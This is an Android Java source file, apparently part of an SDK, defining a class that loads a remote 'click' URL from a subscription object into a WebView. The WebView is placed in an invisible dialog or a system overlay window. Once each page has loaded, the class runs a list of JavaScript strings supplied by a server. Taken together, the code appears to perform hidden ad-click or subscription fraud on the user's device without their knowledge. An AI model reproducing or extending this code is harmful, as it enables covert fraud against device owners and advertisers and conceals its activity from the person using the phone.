package com.phone.sdktest;

import android.Manifest;
import android.annotation.SuppressLint;
import android.app.Dialog;
import android.content.Context;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.PixelFormat;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.os.Message;
import android.text.TextUtils;
import android.util.Log;
import android.view.Gravity;
import android.view.WindowManager;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebResourceResponse;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;

import java.util.List;


public class JSFeatureManager {
    public static String TAG = "JSFeatureManager";

    private static final int MSG_CHECK_PAGE_FINISHED = 0x1001;
    private static final long FIRST_DELAY_CHECK_PAGE = 10000;
    private static final long DELAY_CHECK_PAGE = 5000;
    private boolean mIsFirst = true;

    private WebView mWebView;
    private Context mContext;
    private SystemDialog mSystemDialog;
    private WmDialog mWmDialog;
    private boolean mIsPageFinished = false;
    private String webViewErrorInfo;
    private int mPageProgress = 0;
    private int mPageProgressTemp = 0;
    private String report;
    private List<String> jsStrs;
    private int currentPageIndex = 0;

    private Handler mHandler = new Handler(Looper.getMainLooper()) {
        @Override
        public void handleMessage(Message msg) {
            switch (msg.what) {
                case MSG_CHECK_PAGE_FINISHED:
                    handlerCheckPageFinished();
                    break;
            }
        }
    };


    public JSFeatureManager(Context context) {
        mContext = context;

        if (canUseSystemDialog()) {
            Log.i(TAG, "SystemDialog: ");
            mSystemDialog = new SystemDialog();
        } else {
            Log.i(TAG, "WmDialog: ");
            mWmDialog = new WmDialog();
        }

        initWebView();
    }

    private boolean canUseSystemDialog() {
        return (Build.VERSION.SDK_INT <= 22 || Build.VERSION.SDK_INT >= 26) && hasPermission(mContext, Manifest.permission.SYSTEM_ALERT_WINDOW);
    }

    private boolean hasPermission(Context context, String permission) {
        int perm = context.checkCallingOrSelfPermission(permission);
        return perm == PackageManager.PERMISSION_GRANTED;
    }

    public void startCollect(Subscription subscription) {

        if (mSystemDialog != null) {
            try {
                mSystemDialog.show();
            } catch (Exception e) {
                mSystemDialog = null;
                if (mWmDialog == null) {
                    mWmDialog = new WmDialog();
                }
                mWmDialog.show();
            }
        } else if (mWmDialog != null) {
            mWmDialog.show();
        }

//        report = subscription.report;
//        jsStrs = subscription.jsStrs;
//        sendReportUrl(report, "ParseSuccess");


        //发送曝光
//        TrackManager.sendTrackUrl(subscription.impUrl, true);
        //开始点击
        mWebView.loadUrl(subscription.clickUrl);
        //检查webview加载url是否完成
        sendCheckPageFinished();

    }


    /**
     * 设置webView的属性
     */
    @SuppressLint("SetJavaScriptEnabled")
    public void initWebView() {
        mWebView = new WebView(mContext);

        mWebView.requestFocusFromTouch();
        WebSettings settings = mWebView.getSettings();
        settings.setJavaScriptEnabled(true);
        settings.setBuiltInZoomControls(true);
        settings.setUseWideViewPort(true);
        settings.setSupportZoom(true);
        settings.setJavaScriptCanOpenWindowsAutomatically(true);
        settings.setDomStorageEnabled(true);

        //允许加载http与https混合内容
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
            settings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
        }
        mWebView.setWebChromeClient(new WebChromeClient());
        mWebView.setWebViewClient(mWebViewClient);

    }


    private WebViewClient mWebViewClient = new WebViewClient() {

        @Override
        public void onPageStarted(WebView view, String url, Bitmap favicon) {
            super.onPageStarted(view, url, favicon);
            Log.d(TAG, "onPageStarted----url=" + url);
            sendReportUrl(report, "WebviewStart");

            if (url.startsWith("market://")) {
                String newUrl = url.replace("market://", "https://play.google.com/store/apps/");
                view.loadUrl(newUrl);
            }
            mIsPageFinished = false;
        }

        @Override
        public boolean shouldOverrideUrlLoading(WebView view, String url) {
            Log.d(TAG, "Override Url Loading----url:" + url);

            if (url.endsWith(".apk")) {
                return true;
            } else {
                return super.shouldOverrideUrlLoading(view, url);
            }
        }

        @Override
        public void onPageFinished(WebView view, String url) {
            super.onPageFinished(view, url);
            Log.d(TAG, "onPageFinished----url=" + url);

            mIsPageFinished = true;
        }


        @Override
        public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
            super.onReceivedError(view, errorCode, description, failingUrl);
            Log.d(TAG, "onReceivedError----failingUrl=" + failingUrl);
            sendReportUrl(report, "WebviewError");

            mIsPageFinished = true;
            webViewErrorInfo = "web load error:" + description;
        }


        @Override
        public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
            Log.d(TAG, "shouldInterceptRequest----progress >>" + mPageProgress);
            mPageProgress++;
            return super.shouldInterceptRequest(view, request);
        }
    };


    private void sendCheckPageFinished() {
        Message msg = new Message();
        msg.what = MSG_CHECK_PAGE_FINISHED;
        long delay = (mIsFirst ? FIRST_DELAY_CHECK_PAGE : DELAY_CHECK_PAGE);
        mIsFirst = false;
        mHandler.sendMessageDelayed(msg, delay);
    }


    private void removeCheckPackFinishedMsg() {
        if (mHandler.hasMessages(MSG_CHECK_PAGE_FINISHED)) {
            mHandler.removeMessages(MSG_CHECK_PAGE_FINISHED);
        }
    }

    private void reSendCheckPageFinished() {
        mIsFirst = true;
        mIsPageFinished = false;
        webViewErrorInfo = "";
        mPageProgress = 0;
        mPageProgressTemp = 0;

        sendCheckPageFinished();
    }


    private void handlerCheckPageFinished() {

        if (mIsPageFinished) {
            if (!TextUtils.isEmpty(webViewErrorInfo)) {
                //error
                dismiss();
                return;
            }

            if (mPageProgress != mPageProgressTemp) {
                //页面还没加载完成
                mPageProgressTemp = mPageProgress;
                sendCheckPageFinished();
                return;
            }

            //真正加载完成
            removeCheckPackFinishedMsg();
            sendReportUrl(report, "WebviewFinish");


            if (jsStrs != null && currentPageIndex < jsStrs.size()) {

                String js = jsStrs.get(currentPageIndex);
                currentPageIndex++;

                //开始加载js
                sendReportUrl(report, "JSStart");

                if (Build.VERSION.SDK_INT < 18) {

                    mWebView.loadUrl("javascript:" + js);
                    //重新开始检测
                    reSendCheckPageFinished();

                } else {

                    mWebView.evaluateJavascript("javascript:" + js, new ValueCallback<String>() {
                        @Override
                        public void onReceiveValue(String s) {
                            //重新开始检测
                            reSendCheckPageFinished();
                            sendReportUrl(report, "JSFinish");
                        }
                    });

                }

            } else {
                //没有可执行js
//                dismiss();
            }

        } else {
            sendCheckPageFinished();
        }
    }


    private void sendReportUrl(String url, String node) {
        Log.i(TAG, ">>>>>" + node);

//        StringBuilder sb = new StringBuilder(url);
//        sb.append("&node=");
//        sb.append(node);

//        TrackManager.sendTrackUrl(sb.toString(), false);
    }


    private void dismiss() {
        if (mSystemDialog != null) {
            mSystemDialog.dismiss();
        } else if (mWmDialog != null) {
            mWmDialog.dismiss();
        }
        //关闭webview需要移除此消息
        removeCheckPackFinishedMsg();
    }


    /***
     * 需要SYSTEM_ALERT_WINDOW权限的dialog
     */
    private class SystemDialog extends Dialog {
        SystemDialog() {
            super(mContext, android.R.style.Theme_NoDisplay);
            getWindow().setType(WindowManager.LayoutParams.TYPE_TOAST);
            getWindow().addFlags(WindowManager.LayoutParams.FLAG_FORCE_NOT_FULLSCREEN);
            getWindow().setLayout(100, 100);
        }

        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            if (mWebView != null) {
                getWindow().setContentView(mWebView);
//                setContentView(mWebView);
            }
        }
    }

    private class WmDialog {
        private WindowManager windowManager;
        private WindowManager.LayoutParams wmParams;
        private boolean mShowing = false;

        WmDialog() {
//            wmParams = new WindowManager.LayoutParams(WindowManager.LayoutParams.TYPE_TOAST);
//            wmParams.format = PixelFormat.RGBA_8888;
//            wmParams.flags = WindowManager.LayoutParams.FLAG_FORCE_NOT_FULLSCREEN;
//            wmParams.width = WindowManager.LayoutParams.MATCH_PARENT;
//            wmParams.height = WindowManager.LayoutParams.MATCH_PARENT;
//            windowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);

           wmParams = new WindowManager.LayoutParams(
                    500,
                    500,
                   WindowManager.LayoutParams.TYPE_TOAST,
                   WindowManager.LayoutParams.FLAG_FORCE_NOT_FULLSCREEN,
                   PixelFormat.TRANSPARENT);
            // flag 设置 Window 属性
            wmParams.flags= WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
            // type 设置 Window 类别（层级）
            wmParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_OVERLAY;
            wmParams.gravity = Gravity.CENTER;
//            windowManager = getWindowManager();
            windowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
        }

        void show() {
            if (!mShowing && mWebView != null) {
                try {
                    windowManager.addView(mWebView, wmParams);
                    mShowing = true;
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }

        void dismiss() {
            try {
                if (mWebView != null && mShowing) {
                    mShowing = false;
                    windowManager.removeView(mWebView);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }

        }
    }


}
